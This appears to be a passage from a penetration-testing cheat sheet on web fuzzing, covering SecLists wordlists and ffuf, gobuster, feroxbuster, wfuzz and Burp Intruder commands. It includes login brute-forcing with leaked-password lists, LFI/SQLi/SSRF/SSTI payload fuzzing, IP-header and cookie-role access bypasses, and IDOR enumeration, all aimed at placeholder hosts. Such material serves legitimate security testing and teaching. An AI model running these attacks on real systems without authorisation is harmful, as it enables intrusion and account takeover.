Web Fuzzing

# Install SecLists
sudo apt install seclists
# OR
git clone https://github.com/danielmiessler/SecLists /usr/share/seclists

# ==========================================
# DIRECTORY / FILE DISCOVERY
# ==========================================

/usr/share/seclists/Discovery/Web-Content/common.txt                    # 4713 entries — fast baseline
/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt          # 43k — good balance
/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt         # 63k — daily driver
/usr/share/seclists/Discovery/Web-Content/raft-large-words.txt          # 119k — thorough
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt    # 62k directories only
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt  # 87k
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # 220k — comprehensive
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt    # 1.2M — exhaustive
/usr/share/seclists/Discovery/Web-Content/big.txt                       # 20k general

# ==========================================
# TECHNOLOGY-SPECIFIC
# ==========================================

/usr/share/seclists/Discovery/Web-Content/CMS/wordpress.fuzz.txt        # WordPress paths
/usr/share/seclists/Discovery/Web-Content/CMS/joomla.txt                # Joomla paths
/usr/share/seclists/Discovery/Web-Content/CMS/drupal.txt                # Drupal paths
/usr/share/seclists/Discovery/Web-Content/apache.txt                    # Apache specific
/usr/share/seclists/Discovery/Web-Content/nginx.txt                     # Nginx specific
/usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt                  # IIS specific
/usr/share/seclists/Discovery/Web-Content/tomcat.txt                    # Tomcat paths
/usr/share/seclists/Discovery/Web-Content/spring-boot.txt               # Spring Boot actuators

# ==========================================
# API SPECIFIC
# ==========================================

/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt         # Common API endpoints
/usr/share/seclists/Discovery/Web-Content/api/objects.txt               # API objects
/usr/share/seclists/Discovery/Web-Content/swagger.txt                   # Swagger/OpenAPI paths

# ==========================================
# DNS / SUBDOMAIN
# ==========================================

/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt       # Top 5k subdomains
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt      # Top 20k
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt     # Top 110k — exhaustive
/usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt                       # Jhaddix's DNS list
/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt                   # Fierce list

# ==========================================
# PARAMETER NAMES
# ==========================================

/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt     # 6k common param names
/usr/share/seclists/Discovery/Web-Content/raft-large-words.txt          # Also useful for params

# ==========================================
# VULNERABILITY FUZZING
# ==========================================

/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt                        # LFI payloads
/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt       # LFI — huge list
/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt                       # SQL injection
/usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt                         # Fast SQLi
/usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txt                        # XSS payloads
/usr/share/seclists/Fuzzing/XSS/XSS-BruteLogic.txt                     # XSS payloads
/usr/share/seclists/Fuzzing/SSRF/SSRF-sherlock.txt                      # SSRF payloads
/usr/share/seclists/Fuzzing/Databases/NoSQL.txt                         # NoSQL payloads
/usr/share/seclists/Fuzzing/template-injection.txt                      # SSTI payloads

# ==========================================
# PASSWORDS / AUTH
# ==========================================

/usr/share/wordlists/rockyou.txt                                        # 14M passwords
/usr/share/seclists/Passwords/Common-Credentials/top-20.txt             # Quick spray
/usr/share/seclists/Passwords/Common-Credentials/top-1000.txt           # Top 1000
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv # Default creds
/usr/share/seclists/Usernames/top-usernames-shortlist.txt               # Common usernames
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt         # 10M usernames

# ==========================================
# EXTENSIONS
# ==========================================

/usr/share/seclists/Discovery/Web-Content/web-extensions.txt           # All web extensions
/usr/share/seclists/Discovery/Web-Content/raft-large-extensions.txt    # Large ext list

# Common extension list (create manually):
# php,html,htm,txt,bak,old,zip,tar,gz,sql,xml,json,js,css,conf,config,log,backup

# Install
sudo apt install ffuf
# OR build from source:
go install github.com/ffuf/ffuf/v2@latest

# ==========================================
# BASIC SYNTAX
# ==========================================

ffuf -u <URL/FUZZ> -w <wordlist>

# The FUZZ keyword = placeholder replaced by each wordlist entry
# Multiple FUZZ keywords = W1, W2, W3... keywords

# ==========================================
# CORE FLAGS
# ==========================================

-u          # Target URL (with FUZZ placeholder)
-w          # Wordlist path (can specify multiple: -w list1 -w list2)
-X          # HTTP method (GET, POST, PUT, DELETE, etc.)
-H          # Header "Name: Value" (can use multiple -H)
-b          # Cookie "name=value; name2=value2"
-d          # POST data body
-x          # Proxy URL (e.g., http://127.0.0.1:8080)
-t          # Threads (default: 40)
-p          # Delay between requests (e.g., 0.1 for 100ms)
-rate       # Max requests per second
-timeout    # Per-request timeout in seconds (default: 10)
-maxtime    # Max running time in seconds
-c          # Colorize output
-v          # Verbose (show full URLs + redirect locations)
-s          # Silent mode (no banner, just results)
-o          # Output file
-of         # Output format: json, ejson, html, md, csv, all
-ac         # Auto-calibrate filters (VERY USEFUL!)
-r          # Follow redirects
-recursion          # Enable recursive fuzzing
-recursion-depth 3  # Recursion depth limit
-replay-proxy       # Send matched results to proxy (Burp!)

# ==========================================
# FILTERING FLAGS (CRITICAL — tune these!)
# ==========================================

# Filter OUT (hide these):
-fc <codes>    # Filter by status code  e.g., -fc 404
-fs <size>     # Filter by response size (bytes)
-fw <words>    # Filter by word count
-fl <lines>    # Filter by line count
-fr <regex>    # Filter by regex pattern in response

# Match (SHOW only these):
-mc <codes>    # Match status codes  e.g., -mc 200,301,302
-ms <size>     # Match response size
-mw <words>    # Match word count
-ml <lines>    # Match line count
-mr <regex>    # Match regex pattern

# AUTO-CALIBRATE (send some invalid requests, learn what 404 looks like):
-ac            # Auto-calibrate — ALWAYS USE THIS!

# ==========================================
# KEY EXAMPLES
# ==========================================

# --- DIRECTORY FUZZING ---
ffuf -u http://target.com/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    -ac -c -v

# --- FILE FUZZING (with extension) ---
ffuf -u http://target.com/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    -e .php,.html,.txt,.bak,.old,.xml,.json \
    -ac -c

# --- EXTENSION FUZZING (known filename, find extension) ---
ffuf -u http://target.com/index.FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt \
    -ac -c

# --- RECURSIVE FUZZING ---
ffuf -u http://target.com/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    -recursion -recursion-depth 3 \
    -e .php,.html,.txt \
    -ac -c -v

# --- VHOST FUZZING ---
ffuf -u http://target.com \
    -H "Host: FUZZ.target.com" \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -ac -c
# Note: -ac is critical here! False positives galore without it.

# --- SUBDOMAIN FUZZING (DNS) ---
ffuf -u http://FUZZ.target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -ac -c

# --- GET PARAMETER NAME FUZZING ---
ffuf -u "http://target.com/page.php?FUZZ=test" \
    -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    -ac -c

# --- GET PARAMETER VALUE FUZZING ---
ffuf -u "http://target.com/page.php?id=FUZZ" \
    -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
    -ac -c -v

# --- POST DATA FUZZING ---
ffuf -u http://target.com/login \
    -X POST \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "username=admin&password=FUZZ" \
    -w /usr/share/wordlists/rockyou.txt \
    -fc 302 -c

# --- POST JSON FUZZING ---
ffuf -u http://target.com/api/login \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"FUZZ"}' \
    -w /usr/share/wordlists/rockyou.txt \
    -ac -c

# --- HEADER FUZZING ---
ffuf -u http://target.com/ \
    -H "X-Forwarded-For: FUZZ" \
    -w /usr/share/seclists/Fuzzing/SSRF/SSRF-sherlock.txt \
    -ac -c

# --- COOKIE FUZZING ---
ffuf -u http://target.com/dashboard \
    -b "session=FUZZ" \
    -w wordlist.txt \
    -ac -c

# ==========================================
# MULTIPLE WORDLISTS (Multiple FUZZ positions)
# ==========================================

# W1 and W2 keywords for two positions
ffuf -u http://target.com/W1/W2 \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt:W1 \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt:W2 \
    -ac -c

# Login brute (user + pass combo)
ffuf -u http://target.com/login \
    -X POST \
    -d "user=W1&pass=W2" \
    -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:W1 \
    -w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt:W2 \
    -fc 200 -c
# Note: Attack mode = cluster bomb (all combos)

# ==========================================
# WITH SESSION / AUTH
# ==========================================

# With session cookie
ffuf -u http://target.com/api/FUZZ \
    -w wordlist.txt \
    -b "session=abc123; PHPSESSID=xyz" \
    -ac -c

# With Bearer token
ffuf -u http://target.com/api/FUZZ \
    -w wordlist.txt \
    -H "Authorization: Bearer eyJhbGci..." \
    -ac -c

# With Basic auth
ffuf -u http://target.com/FUZZ \
    -w wordlist.txt \
    -H "Authorization: Basic $(echo -n 'admin:pass' | base64)" \
    -ac -c

# ==========================================
# VIA BURP PROXY (REPLAY)
# ==========================================

# Send all matched results to Burp for manual review
ffuf -u http://target.com/FUZZ \
    -w wordlist.txt \
    -x http://127.0.0.1:8080 \        # Route traffic through Burp
    -replay-proxy http://127.0.0.1:8080 \  # Only send matches to Burp
    -ac -c

# ==========================================
# OUTPUT
# ==========================================

ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.json -of json
ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.html -of html
ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.md -of md
ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.csv -of csv
ffuf -u http://target.com/FUZZ -w wordlist.txt -o results -of all    # ALL formats!

# ==========================================
# HTTPS (ignore cert errors)
# ==========================================

ffuf -u https://target.com/FUZZ -w wordlist.txt -ac -c -k   # -k = ignore SSL

# ==========================================
# RATE LIMITING (be nice / evade)
# ==========================================

ffuf -u http://target.com/FUZZ -w wordlist.txt \
    -rate 50          # 50 req/sec max
    -p 0.1            # 100ms between requests
    -t 10             # 10 threads

# Install
sudo apt install gobuster

# ==========================================
# MODES
# ==========================================

# dir   = directory/file brute force
# dns   = subdomain enumeration
# vhost = virtual host enumeration
# fuzz  = generic fuzzing (FUZZ keyword)
# s3    = Amazon S3 bucket enumeration
# gcs   = Google Cloud Storage bucket enum

# ==========================================
# DIR MODE
# ==========================================

# Basic
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt

# With extensions
gobuster dir -u http://target.com \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    -x php,html,txt,bak,zip,xml,json,js

# HTTPS (ignore cert)
gobuster dir -u https://target.com -w wordlist.txt -k

# With auth
gobuster dir -u http://target.com -w wordlist.txt -U admin -P pass   # Basic auth
gobuster dir -u http://target.com -w wordlist.txt -c "session=abc123"  # Cookie
gobuster dir -u http://target.com -w wordlist.txt \
    -H "Authorization: Bearer TOKEN"                                   # Header

# Only show specific status codes
gobuster dir -u http://target.com -w wordlist.txt -s 200,204,301,302,307,401,403

# Exclude status codes
gobuster dir -u http://target.com -w wordlist.txt -b 404,403

# Threads (default: 10)
gobuster dir -u http://target.com -w wordlist.txt -t 50

# Follow redirects
gobuster dir -u http://target.com -w wordlist.txt -r

# No status codes (clean output)
gobuster dir -u http://target.com -w wordlist.txt -n

# Output to file
gobuster dir -u http://target.com -w wordlist.txt -o gobuster_out.txt

# Via proxy
gobuster dir -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080

# ==========================================
# DNS MODE (subdomain enumeration)
# ==========================================

# Basic
gobuster dns -d corp.local -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Show IP addresses
gobuster dns -d corp.local -w wordlist.txt -i

# Custom DNS resolver
gobuster dns -d corp.local -w wordlist.txt -r 10.10.10.1

# With wildcard bypass
gobuster dns -d corp.local -w wordlist.txt --wildcard

# ==========================================
# VHOST MODE (virtual host fuzzing)
# ==========================================

# Basic
gobuster vhost -u http://target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Append domain (gobuster adds .target.com to each word)
gobuster vhost -u http://target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    --append-domain

# Exclude specific response lengths
gobuster vhost -u http://target.com -w wordlist.txt --exclude-length 287

# ==========================================
# FUZZ MODE (generic FUZZ keyword)
# ==========================================

gobuster fuzz -u "http://target.com/page.php?id=FUZZ" \
    -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
    -b 404

# ==========================================
# S3 BUCKET ENUMERATION
# ==========================================

gobuster s3 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Tests: https://<word>.s3.amazonaws.com

# Install
sudo apt install feroxbuster

# ==========================================
# BASIC USAGE
# ==========================================

# Default (built-in wordlist, auto-recursive!)
feroxbuster -u http://target.com

# Custom wordlist
feroxbuster -u http://target.com \
    -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt

# With extensions
feroxbuster -u http://target.com -x php,html,txt,bak,xml

# ==========================================
# KEY FLAGS
# ==========================================

-u              # Target URL
-w              # Wordlist
-x              # Extensions
-d <depth>      # Recursion depth (default: 4)
-t <threads>    # Threads (default: 50)
-r              # Follow redirects
-k              # Ignore SSL errors
-C <codes>      # Filter status codes (hide these)
-s <codes>      # Show only these status codes
-S <size>       # Filter by response size (bytes)
-W <words>      # Filter by word count
-L <lines>      # Filter by line count
-N              # Filter by similar page size (auto-smart filter)
--no-recursion  # Disable recursion (flat scan only)
-o <file>       # Output to file
-q              # Quiet (no banner)
--proxy         # Use proxy
-H              # Add header
-b              # Add cookie
-m <method>     # HTTP method

# ==========================================
# PRACTICAL EXAMPLES
# ==========================================

# Full recursive scan with extensions
feroxbuster -u http://target.com \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    -x php,html,txt,bak \
    -d 3 \
    -t 50 \
    -C 404,403 \
    -o ferox_results.txt

# Authenticated scan
feroxbuster -u http://target.com \
    -w wordlist.txt \
    -b "session=abc123" \
    -H "Authorization: Bearer TOKEN"

# API fuzzing
feroxbuster -u http://target.com/api \
    -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
    -m GET,POST,PUT,DELETE \
    -x json

# Scan multiple URLs from file
feroxbuster --stdin -w wordlist.txt < urls.txt
cat urls.txt | feroxbuster --stdin -w wordlist.txt

# Smart filter (auto-detect false positives)
feroxbuster -u http://target.com -w wordlist.txt -N

# Force extensions (add to everything)
feroxbuster -u http://target.com \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    --force-recursion        # Recurse even into 403s
    -E                       # Collect all extension combos

# Install
sudo apt install wfuzz
pip3 install wfuzz

# ==========================================
# BASIC SYNTAX
# ==========================================

wfuzz -w <wordlist> <URL/FUZZ>

# ==========================================
# KEY FLAGS
# ==========================================

-w <wordlist>     # Wordlist
-z <payload>      # Payload type (range, list, file, etc.)
-u <url>          # Target URL
-d <data>         # POST data
-H <header>       # Custom header
-b <cookie>       # Cookie
-X <method>       # HTTP method
-t <threads>      # Threads (default: 10)
-s <delay>        # Delay between requests
-p <proxy>        # Proxy (ip:port)
-e <encoders>     # Encoders to apply
--hc <codes>      # Hide status codes
--hl <lines>      # Hide by line count
--hw <words>      # Hide by word count
--hh <chars>      # Hide by char count
--sc <codes>      # Show only these codes
--sl <lines>      # Show only this line count
--sw <words>      # Show only this word count
-o <file>         # Output file
-f <file,format>  # Output format (html, raw, csv, json)
-v                # Verbose
-c                # Colorize
--no-cache        # Don't cache results

# ==========================================
# PAYLOAD TYPES (-z)
# ==========================================

-z file,/path/to/wordlist       # File wordlist
-z range,1-100                  # Number range (1 to 100)
-z list,apple-banana-cherry     # Inline list (dash-separated)
-z stdin                        # Read from stdin
-z burplog,burp.xml             # Burp log file

# ==========================================
# ENCODERS
# ==========================================

-z file,wordlist.txt,urlencode    # URL encode payloads
-z file,wordlist.txt,base64       # Base64 encode
-z file,wordlist.txt,html         # HTML encode
-z file,wordlist.txt,md5          # MD5 hash
-z file,wordlist.txt,hexlify      # Hex encode
-z file,wordlist.txt,urlencode-urlencode  # Double URL encode

# ==========================================
# PRACTICAL EXAMPLES
# ==========================================

# Directory fuzzing
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    --hc 404 \
    http://target.com/FUZZ

# File fuzzing with extension
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    --hc 404 \
    http://target.com/FUZZ.php

# POST login fuzzing
wfuzz -c -w /usr/share/wordlists/rockyou.txt \
    --hc 200 \
    -d "user=admin&pass=FUZZ" \
    http://target.com/login

# Parameter name fuzzing
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    --hh 1337 \
    "http://target.com/page.php?FUZZ=value"

# Multiple FUZZ positions (FUZ2Z, FUZ3Z...)
wfuzz -c \
    -w users.txt \
    -w passwords.txt \
    --hc 401 \
    -d "user=FUZZ&pass=FUZ2Z" \
    http://target.com/login

# With cookie auth
wfuzz -c -w wordlist.txt \
    -b "PHPSESSID=abc123" \
    --hc 302 \
    http://target.com/admin/FUZZ

# LFI fuzzing with encoding
wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
    --hc 404 \
    -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt,urlencode \
    "http://target.com/page.php?file=FUZZ"

# Vhost fuzzing
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -H "Host: FUZZ.target.com" \
    --hh 1337 \
    http://target.com/

# ==========================================
# SETUP
# ==========================================

# 1. Capture request in Proxy → HTTP History
# 2. Right-click → Send to Intruder (Ctrl+I)
# 3. Go to Intruder tab → Positions sub-tab

# ==========================================
# ATTACK TYPES
# ==========================================

# SNIPER
# → One payload list, ONE position at a time
# → Good for: single param fuzzing
# → Example: test one parameter with 1000 passwords

# BATTERING RAM
# → One payload list, inserts SAME payload into ALL positions simultaneously
# → Good for: same value needed in multiple places

# PITCHFORK
# → Multiple wordlists, ONE-TO-ONE pairing
# → List1 with List2, List1 with List2...
# → Good for: username:password pairs from breach data

# CLUSTER BOMB
# → Multiple wordlists, ALL COMBINATIONS
# → List1 x List2 = total combinations
# → Good for: brute force login (every user + every password)
# → Warning: Very slow for large lists!

# ==========================================
# POSITIONS TAB
# ==========================================

# Clear §   → Remove all markers
# Add §     → Wrap selected text in §markers§
# Auto §    → Auto-detect parameters

# ==========================================
# PAYLOADS TAB
# ==========================================

# Payload Sets: which position (1, 2, 3...)
# Payload Type:
#   Simple list    → Load wordlist
#   Runtime file   → Read from file at runtime
#   Numbers        → Generate number range
#   Dates          → Generate date range
#   Brute forcer   → Character set brute force
#   Null payloads  → Empty/repeated payloads
#   Character frobber → Modify each char
#   Bit flipper    → Flip bits in original value
#   Username generator → Generate username variants
#   ECB block shuffler → ECB encryption attacks

# Payload Processing:
# → Add prefix/suffix
# → URL encode
# → Base64 encode
# → Hash (MD5, SHA1, etc.)
# → Match/replace

# ==========================================
# RESOURCE POOL (throttling)
# ==========================================

# Create resource pool:
# Max concurrent requests: 10
# Delay between requests: 100ms (rate limiting bypass)

# ==========================================
# ANALYSIS — WHAT TO LOOK FOR
# ==========================================

# Sort by: Status, Length, Words, Lines
# Different length = different response = interesting!
# 302 on login = success (while others are 200)
# 200 with different word count = success

# ==========================================
# TURBO INTRUDER (Extension — way faster!)
# ==========================================

# Install from BApp Store: Turbo Intruder
# Right-click → Extensions → Turbo Intruder → Send to Turbo Intruder

# Default script (edit and run):
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=100,
                           pipeline=False)
    for word in open('/usr/share/wordlists/rockyou.txt'):
        engine.queue(target.req, word.rstrip())

def handleResponse(req, interesting):
    if req.status != 404:
        table.add(req)

# ==========================================
# DIRB
# ==========================================

# Install
sudo apt install dirb

# Basic scan (uses built-in wordlist)
dirb http://target.com

# Custom wordlist
dirb http://target.com /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt

# With extensions
dirb http://target.com wordlist.txt -X .php,.html,.txt

# HTTPS
dirb https://target.com -z 20    # 20ms delay

# With basic auth
dirb http://target.com wordlist.txt -u admin:password

# Stop on first found
dirb http://target.com wordlist.txt -f

# Save output
dirb http://target.com wordlist.txt -o dirb_out.txt

# ==========================================
# DIRBUSTER (GUI)
# ==========================================

# Launch
dirbuster &

# Use: java -jar DirBuster-1.0-RC1.jar (if not in PATH)
# → Set target URL
# → Select wordlist
# → Set extensions
# → Start scan
# → View results in tree / list view

# Best wordlists for Dirbuster:
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

# Goal: Find hidden directories on the web server

# FFUF (recommended)
ffuf -u http://target.com/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    -ac -c -v -o dir_results.json -of json

# Gobuster
gobuster dir -u http://target.com \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    -t 50 -o gobuster_dirs.txt

# Feroxbuster (recursive — finds nested dirs automatically!)
feroxbuster -u http://target.com \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    -d 4 -t 50

# What to look for:
# /admin, /administrator, /dashboard, /panel, /manager
# /backup, /old, /archive, /temp, /dev, /staging, /test
# /api, /v1, /v2, /rest, /graphql
# /config, /conf, /settings, /data, /files, /uploads
# /git, /.svn, /.env, /Makefile (source control!)
# /phpmyadmin, /pma, /dbadmin (database panels)

# Goal: Find specific files on the web server

# FFUF with extensions
ffuf -u http://target.com/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
    -e .php,.html,.htm,.txt,.bak,.old,.zip,.tar.gz,.sql,.xml,.json,.log,.config,.conf \
    -ac -c -v

# Target specific directory
ffuf -u http://target.com/backup/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    -e .zip,.tar,.gz,.sql,.bak \
    -ac -c

# Common files to look for:
# index.php.bak, index.php.old, config.php.bak
# backup.zip, backup.tar.gz, db.sql
# .env, .env.local, .env.production
# web.config, applicationHost.config
# phpinfo.php, info.php, test.php
# robots.txt, sitemap.xml, crossdomain.xml
# .htaccess, .htpasswd, .git/HEAD, .svn/entries

# Goal: Know the filename but not the extension

# FFUF — fuzz the extension
ffuf -u http://target.com/config.FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt \
    -ac -c

# Common valuable extensions:
# .php, .php3, .php5, .phtml  → PHP (server-side code)
# .asp, .aspx, .ashx          → ASP.NET
# .jsp, .jspx                 → Java
# .bak, .old, .backup         → Backup files (source exposed!)
# .swp                        → VIM swap file (source exposed!)
# .git, .svn                  → VCS files
# .env                        → Environment config
# .log                        → Log files
# .conf, .config              → Config files
# .xml, .json                 → Data files

# Goal: Automatically fuzz every discovered directory

# Feroxbuster (built-in recursion — best for this)
feroxbuster -u http://target.com \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    -x php,html,txt \
    -d 3 -t 50

# FFUF with recursion
ffuf -u http://target.com/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    -recursion -recursion-depth 2 \
    -e .php,.html \
    -ac -c

# Manual recursive (script)
for dir in $(ffuf -u http://target.com/FUZZ -w dirs.txt -mc 200,301 -s | awk '{print $1}'); do
    echo "=== Scanning $dir ==="
    ffuf -u "http://target.com/$dir/FUZZ" -w files.txt -mc 200 -s
done

# Goal: Find subdomains of the target

# FFUF
ffuf -u http://FUZZ.target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -ac -c -v

# Gobuster DNS
gobuster dns -d target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -t 30 -i

# Useful subdomains to find:
# admin.target.com, portal.target.com, dashboard.target.com
# dev.target.com, staging.target.com, test.target.com
# api.target.com, api2.target.com, api-dev.target.com
# vpn.target.com, mail.target.com, smtp.target.com
# gitlab.target.com, jenkins.target.com, jira.target.com
# old.target.com, legacy.target.com, backup.target.com

# Goal: Find virtual hosts served from the same IP
# (Different from DNS fuzzing — VHosts may not have DNS records!)

# FFUF (best for vhosts — manipulates Host header)
ffuf -u http://target.com \
    -H "Host: FUZZ.target.com" \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -ac -c \
    -fs <default_page_size>    # Filter out default response size!

# Without auto-calibrate — manually find default size first:
# 1. curl http://target.com -s | wc -c → note the size
# 2. Then: ffuf ... -fs <that_size>

# Gobuster vhost
gobuster vhost -u http://target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    --append-domain \
    --exclude-length 287

# Add /etc/hosts entry to access found vhost:
echo "10.10.10.1 admin.target.com" | sudo tee -a /etc/hosts
curl http://admin.target.com

# Goal: Find hidden GET parameters

# FFUF
ffuf -u "http://target.com/page.php?FUZZ=value" \
    -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    -ac -c -v

# Filter by different response:
ffuf -u "http://target.com/page.php?FUZZ=test" \
    -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    -fs <default_response_size> -c

# Wfuzz
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    --hw 150 \
    "http://target.com/page.php?FUZZ=test"

# What to find:
# ?debug=true, ?test=1, ?admin=1
# ?id=1, ?user=admin, ?file=/etc/passwd
# ?redirect=http://..., ?url=http://...
# ?format=json, ?output=xml
# ?callback=func, ?jsonp=func

# Goal: Find valid values for a known parameter

# Fuzz numeric IDs (IDOR!)
ffuf -u "http://target.com/api/user?id=FUZZ" \
    -w <(seq 1 1000) \
    -ac -c -v \
    -b "session=YOURCOOKIE"

# Fuzz LFI paths
ffuf -u "http://target.com/page.php?file=FUZZ" \
    -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
    -ac -c -v

# Fuzz SQLi
ffuf -u "http://target.com/page.php?id=FUZZ" \
    -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
    -ac -c -v

# Fuzz SSRF
ffuf -u "http://target.com/fetch?url=FUZZ" \
    -w /usr/share/seclists/Fuzzing/SSRF/SSRF-sherlock.txt \
    -ac -c -v

# Fuzz SSTI
ffuf -u "http://target.com/render?template=FUZZ" \
    -w /usr/share/seclists/Fuzzing/template-injection.txt \
    -ac -c -v

# Goal: Fuzz POST body parameters

# FFUF — URL-encoded POST
ffuf -u http://target.com/login \
    -X POST \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "username=admin&password=FUZZ" \
    -w /usr/share/wordlists/rockyou.txt \
    -fc 200 -c          # If 302 on success, filter 200

# FFUF — JSON POST
ffuf -u http://target.com/api/login \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"user":"admin","pass":"FUZZ"}' \
    -w /usr/share/wordlists/rockyou.txt \
    -ac -c

# FFUF — Find POST parameter names
ffuf -u http://target.com/endpoint \
    -X POST \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "FUZZ=test" \
    -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    -ac -c

# Wfuzz POST with encoded payloads
wfuzz -c \
    -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
    -d "user=FUZZ&pass=test" \
    --hc 404,500 \
    http://target.com/login

# Goal: Find headers that change application behavior

# X-Forwarded-For (IP bypass)
ffuf -u http://target.com/admin \
    -H "X-Forwarded-For: FUZZ" \
    -w <(echo -e "127.0.0.1\n10.0.0.1\n192.168.1.1\nlocalhost") \
    -ac -c

# X-Custom-IP-Authorization bypass
ffuf -u http://target.com/admin \
    -H "X-Custom-IP-Authorization: FUZZ" \
    -w <(echo -e "127.0.0.1\n10.0.0.1\nlocalhost") \
    -mc 200 -c

# Host header injection / cache poisoning
ffuf -u http://target.com/ \
    -H "X-Forwarded-Host: FUZZ" \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -ac -c

# User-Agent fuzzing (WAF bypass)
ffuf -u http://target.com/ \
    -H "User-Agent: FUZZ" \
    -w /usr/share/seclists/Fuzzing/User-Agents/user-agents.txt \
    -ac -c

# Common header injection targets:
# X-Forwarded-For
# X-Real-IP
# X-Originating-IP
# X-Remote-IP
# X-Client-IP
# X-Custom-IP-Authorization
# X-Forwarded-Host
# X-Host

# Goal: Find valid session tokens or manipulate cookies

# Fuzz session cookie value
ffuf -u http://target.com/dashboard \
    -b "session=FUZZ" \
    -w wordlist.txt \
    -mc 200 -c

# Fuzz user role in cookie
ffuf -u http://target.com/admin \
    -b "role=FUZZ" \
    -w <(echo -e "admin\nsuperuser\nroot\n1\ntrue") \
    -mc 200 -c

# Cookie name fuzzing
ffuf -u http://target.com/page \
    -b "FUZZ=true" \
